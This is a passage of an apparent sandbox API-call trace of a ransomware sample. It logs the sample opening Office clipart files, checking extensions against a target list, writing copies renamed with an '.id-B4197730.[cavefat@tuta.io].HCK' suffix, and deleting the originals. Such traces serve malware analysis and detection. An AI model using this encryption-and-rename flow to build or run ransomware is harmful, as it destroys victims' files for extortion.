lpString2=".WMF") returned -1 [0169.123] lstrlenW (lpString=".7z") returned 3 [0169.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0169.123] lstrlenW (lpString=".dbf") returned 4 [0169.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0169.123] lstrlenW (lpString=".1cd") returned 4 [0169.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0169.123] lstrlenW (lpString=".jpg") returned 4 [0169.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.123] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.123] lstrlenW (lpString="J0153305.WMF") returned 12 [0169.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.129] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=38488) returned 1 [0169.129] CloseHandle (hObject=0x368) returned 1 [0169.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf")) returned 0x220 [0169.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0169.139] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.139] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0169.143] GetLastError () returned 0x0 [0169.143] ReadFile (in: hFile=0x394, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x9658, lpOverlapped=0x0) returned 1 [0169.146] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x9660, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x9660, lpOverlapped=0x0) returned 1 [0169.147] ReadFile (in: hFile=0x394, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.147] WriteFile (in: hFile=0x378, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.147] SetEndOfFile (hFile=0x378) returned 1 [0169.150] CloseHandle (hObject=0x378) returned 1 [0169.153] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.153] SetEndOfFile (hFile=0x394) returned 1 [0169.156] CloseHandle (hObject=0x394) returned 1 [0169.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153305.wmf")) returned 1 [0169.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0169.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0169.160] lstrlenW (lpString=".doc") returned 4 [0169.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.160] lstrlenW (lpString=".docx") returned 5 [0169.160] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0169.160] lstrlenW (lpString=".pdf") returned 4 [0169.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.160] lstrlenW (lpString=".xls") returned 4 [0169.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.160] lstrlenW (lpString=".xlsx") returned 5 [0169.160] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0169.160] lstrlenW (lpString=".ppt") returned 4 [0169.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0169.160] lstrlenW (lpString=".zip") returned 4 [0169.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.160] lstrlenW (lpString=".rar") returned 4 [0169.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.160] lstrlenW (lpString=".bz2") returned 4 [0169.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.160] lstrlenW (lpString=".7z") returned 3 [0169.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0169.160] lstrlenW (lpString=".dbf") returned 4 [0169.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0169.160] lstrlenW (lpString=".1cd") returned 4 [0169.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0169.160] lstrlenW (lpString=".jpg") returned 4 [0169.160] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0169.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0169.161] lstrlenW (lpString=".doc") returned 4 [0169.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.161] lstrlenW (lpString=".docx") returned 5 [0169.161] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0169.161] lstrlenW (lpString=".pdf") returned 4 [0169.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.161] lstrlenW (lpString=".xls") returned 4 [0169.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.161] lstrlenW (lpString=".xlsx") returned 5 [0169.161] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0169.161] lstrlenW (lpString=".ppt") returned 4 [0169.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0169.161] lstrlenW (lpString=".zip") returned 4 [0169.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.161] lstrlenW (lpString=".rar") returned 4 [0169.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.161] lstrlenW (lpString=".bz2") returned 4 [0169.161] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.161] lstrlenW (lpString=".7z") returned 3 [0169.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0169.161] lstrlenW (lpString=".dbf") returned 4 [0169.161] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0169.161] lstrlenW (lpString=".1cd") returned 4 [0169.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153305.WMF") returned 68 [0169.161] lstrlenW (lpString=".jpg") returned 4 [0169.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.161] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.161] lstrlenW (lpString="J0153508.WMF") returned 12 [0169.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.167] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=34256) returned 1 [0169.167] CloseHandle (hObject=0x370) returned 1 [0169.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf")) returned 0x220 [0169.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0169.181] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.181] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.185] GetLastError () returned 0x0 [0169.185] ReadFile (in: hFile=0x394, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x85d0, lpOverlapped=0x0) returned 1 [0169.187] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x85e0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x85e0, lpOverlapped=0x0) returned 1 [0169.188] ReadFile (in: hFile=0x394, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.188] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.188] SetEndOfFile (hFile=0x368) returned 1 [0169.189] CloseHandle (hObject=0x368) returned 1 [0169.192] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.192] SetEndOfFile (hFile=0x394) returned 1 [0169.197] CloseHandle (hObject=0x394) returned 1 [0169.198] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153508.wmf")) returned 1 [0169.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0169.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0169.201] lstrlenW (lpString=".doc") returned 4 [0169.201] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.201] lstrlenW (lpString=".docx") returned 5 [0169.201] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.201] lstrlenW (lpString=".pdf") returned 4 [0169.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.201] lstrlenW (lpString=".xls") returned 4 [0169.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.201] lstrlenW (lpString=".xlsx") returned 5 [0169.201] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.201] lstrlenW (lpString=".ppt") returned 4 [0169.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0169.201] lstrlenW (lpString=".zip") returned 4 [0169.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.201] lstrlenW (lpString=".rar") returned 4 [0169.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.201] lstrlenW (lpString=".bz2") returned 4 [0169.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.201] lstrlenW (lpString=".7z") returned 3 [0169.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0169.202] lstrlenW (lpString=".dbf") returned 4 [0169.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0169.202] lstrlenW (lpString=".1cd") returned 4 [0169.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0169.202] lstrlenW (lpString=".jpg") returned 4 [0169.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0169.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0169.202] lstrlenW (lpString=".doc") returned 4 [0169.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.202] lstrlenW (lpString=".docx") returned 5 [0169.202] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.202] lstrlenW (lpString=".pdf") returned 4 [0169.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.202] lstrlenW (lpString=".xls") returned 4 [0169.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.202] lstrlenW (lpString=".xlsx") returned 5 [0169.202] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.202] lstrlenW (lpString=".ppt") returned 4 [0169.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0169.202] lstrlenW (lpString=".zip") returned 4 [0169.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.202] lstrlenW (lpString=".rar") returned 4 [0169.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.202] lstrlenW (lpString=".bz2") returned 4 [0169.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.202] lstrlenW (lpString=".7z") returned 3 [0169.202] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0169.202] lstrlenW (lpString=".dbf") returned 4 [0169.202] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0169.202] lstrlenW (lpString=".1cd") returned 4 [0169.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68 [0169.202] lstrlenW (lpString=".jpg") returned 4 [0169.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.203] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.203] lstrlenW (lpString="J0156537.WMF") returned 12 [0169.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0169.209] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1376) returned 1 [0169.209] CloseHandle (hObject=0x2ec) returned 1 [0169.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf")) returned 0x220 [0169.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0169.229] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.229] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.236] GetLastError () returned 0x0 [0169.236] ReadFile (in: hFile=0x354, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x560, lpOverlapped=0x0) returned 1 [0169.239] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x570, lpOverlapped=0x0) returned 1 [0169.240] ReadFile (in: hFile=0x354, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.240] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.240] SetEndOfFile (hFile=0x368) returned 1 [0169.243] CloseHandle (hObject=0x368) returned 1 [0169.244] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.244] SetEndOfFile (hFile=0x354) returned 1 [0169.248] CloseHandle (hObject=0x354) returned 1 [0169.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.249] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0156537.wmf")) returned 1 [0169.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0169.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0169.251] lstrlenW (lpString=".doc") returned 4 [0169.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.251] lstrlenW (lpString=".docx") returned 5 [0169.251] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0169.251] lstrlenW (lpString=".pdf") returned 4 [0169.251] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.251] lstrlenW (lpString=".xls") returned 4 [0169.251] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.251] lstrlenW (lpString=".xlsx") returned 5 [0169.251] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0169.251] lstrlenW (lpString=".ppt") returned 4 [0169.251] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0169.251] lstrlenW (lpString=".zip") returned 4 [0169.251] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.251] lstrlenW (lpString=".rar") returned 4 [0169.251] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.251] lstrlenW (lpString=".bz2") returned 4 [0169.251] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.251] lstrlenW (lpString=".7z") returned 3 [0169.251] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0169.251] lstrlenW (lpString=".dbf") returned 4 [0169.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0169.251] lstrlenW (lpString=".1cd") returned 4 [0169.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0169.251] lstrlenW (lpString=".jpg") returned 4 [0169.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0169.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0169.251] lstrlenW (lpString=".doc") returned 4 [0169.251] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.251] lstrlenW (lpString=".docx") returned 5 [0169.251] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0169.251] lstrlenW (lpString=".pdf") returned 4 [0169.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.252] lstrlenW (lpString=".xls") returned 4 [0169.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.252] lstrlenW (lpString=".xlsx") returned 5 [0169.252] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0169.252] lstrlenW (lpString=".ppt") returned 4 [0169.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0169.252] lstrlenW (lpString=".zip") returned 4 [0169.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.252] lstrlenW (lpString=".rar") returned 4 [0169.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.252] lstrlenW (lpString=".bz2") returned 4 [0169.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.252] lstrlenW (lpString=".7z") returned 3 [0169.252] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0169.252] lstrlenW (lpString=".dbf") returned 4 [0169.252] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0156537.WMF") returned 68 [0169.252] lstrlenW (lpString=".1cd") returned 4 [0169.252] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.252] lstrlenW 